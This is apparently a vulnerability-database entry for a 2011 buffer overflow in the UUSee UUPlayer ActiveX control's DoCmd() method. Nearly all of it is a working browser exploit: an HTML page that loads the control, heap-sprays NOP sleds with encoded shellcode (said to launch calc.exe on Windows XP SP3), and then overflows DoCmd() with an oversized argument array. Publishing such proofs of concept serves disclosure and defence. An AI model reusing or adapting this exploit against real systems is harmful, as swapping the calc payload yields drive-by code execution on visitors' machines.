UUSee UUPlayer ActiveX控件"DoCmd()"缓冲区溢出漏洞

🗓️ 15 Jun 2011 00:00:00Reported by RootType

UUsee UUPlayer ActiveX "DoCmd()" Buffer Overflow Vulnerabilit


                                                &lt;html&gt;
 &lt;object classid=”clsid:77910CD3-5447-4CCB-92DE-35BA8198BE81″ name=”uusee” &gt;&lt;/object&gt;
&lt;script language=”javascript”&gt;
//XP SP3 运行calc 计算器
   shellcode = unescape(“%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800″ +
                        “%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A” +
                        “%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350″ +
                        “%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40″ +
                        “%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000″ +
                        “%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040″ +
                        “%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD” +
                        “%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40″ +
                        “%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18″ +
                        “%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0″ +
                        “%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B” +
                        “%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24″ +
                        “%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9″ +
                        “%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C” +
                        “%u652E%u6578%u9000″);
         nops=unescape(‘%u9090%u9090′);
                       headersize =20;
                       slackspace= headersize + shellcode.length;
                       while( nops.length&lt; slackspace) nops+= nops;
                       fillblock= nops.substring(0, slackspace);
                      block= nops.substring(0, nops.length- slackspace);
                     while( block.length+ slackspace&lt;262000) block= block+ block+ fillblock;
                        memory=new Array();
                       for( counter=0; counter&lt;2000; counter++) memory[ counter]= block+ shellcode;
 var arg=Array();
for (i=0;i&lt;=80;i++)
 {
  arg[i]=”\u1111″;
 }
 uusee.DoCmd(arg);
&lt;/script&gt;
 &lt;/html&gt;

15 Jun 2011 00:00Current

7.1High risk

Vulners AI Score7.1

UUSee UUPlayer ActiveX控件&quot;DoCmd()&quot;缓冲区溢出漏洞

UUSee UUPlayer ActiveX控件"DoCmd()"缓冲区溢出漏洞